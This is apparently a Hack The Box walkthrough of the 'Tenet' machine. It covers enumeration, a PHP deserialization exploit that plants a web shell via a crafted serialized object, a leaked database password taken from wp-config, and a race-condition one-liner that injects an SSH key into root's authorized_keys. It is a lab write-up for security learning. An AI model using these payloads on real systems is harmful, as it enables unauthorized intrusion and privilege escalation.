Tenet
Tenet is a medium machine from Hack The Box.
Enumeration
A nmap scan reveals only 2 ports open on the box: 22 and 80. It looks like the web server is running WordPress 5.6. Good to know.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
While I take a look at the web page, I run a wpscan in the background to enumerate any possible vulnerable plugins or themes.
wpscan --url http://tenet.htb -e --api-token <api-token> -o wpscan.txt
I found a few vulnerabilities but they all seem to be dead ends.
Posts on the site reveal 2 users, neil
and protagonist
, which wpscan
also found.
A comment on a post refers to a file, sator.php
, and its backup.
After navigating to /sator.php
in the browser, it looks the page is still up.
Exploitation
Navigating to /sator.php.bak
initiates a download of the file.
class DatabaseExport
{
public $user_file = 'users.txt'; ## Variables?
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct() ## Concatenation\/
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? ''; ## $objects
$databaseupdate = unserialize($input); ## UNSERIALIZES INPUT
echo serialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
PHP is a bittt over my head at the moment, but after some reading and some more reading, I think I know enough to exploit it.
The PHP code accepts user input in the form of a parameter named arepo
and then unserializes that input. There is a vulnerability in the way that PHP magic methods like __destruct()
handle serialized objects that can lead to RCE.
So, if I craft a serialized object that contains a payload, sator.php
will execute my payload when it unserializes my input.
<?php
class DatabaseExport
{
public $user_file = 'tron.php';
public $data = '<?php system($_REQUEST["cmd"]); ?>';
}
$pwn = new DatabaseExport;
echo (serialize($pwn));
?>
Running this PHP script will output a serialized object in which I have redefined the variables $user_file
and $data
. When sator.php
executes, it will create a new file named tron.php
that contains a parameter I can interact with for RCE.
O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"tron.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}
Place the serialized object into the arepo
parameter:
10.10.10.223/sator.php?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"tron.php";s:4:"data";s:34:"<?php system($_REQUEST["cmd"]); ?>";}
After some finagling with URL encoding via burp, I get a reverse shell on the machine.
On as www-data
:
Privilege Escalation
Not much to do as www-data
, but neil
is also a user on this box, so I start looking for credentials of some kind.
I know that wp-config
usually has credentials, so I go digging.
Found some credentials for neil
.
/** MySQL database username */
define( 'DB_USER', 'neil' );
/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );
SSH in as neil
with his password, and now I can look around some more.
sudo -l
There is a script that neil
can run with sudo
.
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
}
The script writes an SSH key into a file with a randomly generated name in the format /tmp/ssh-XXXXXXXX
, then uses cat
to append that key to /root/.ssh/authorized_keys
. There appears to be a race condition here, as the $tmpName
file exists during the checkFile
process, before it’s written to authorized_keys
, so if I am constantly writing my own SSH key to any file in the /tmp
directory that fits the format /tmp/ssh*
, I should be able to overwrite the root user’s key.
while true; do echo "<id_rsa.pub>" | tee /tmp/ssh* > dev/null; done &
This one-liner will do just that. I run it in the background while I run sudo /usr/local/bin/enableSSH.sh
.
After a couple of tries, I can SSH in as root
with no password.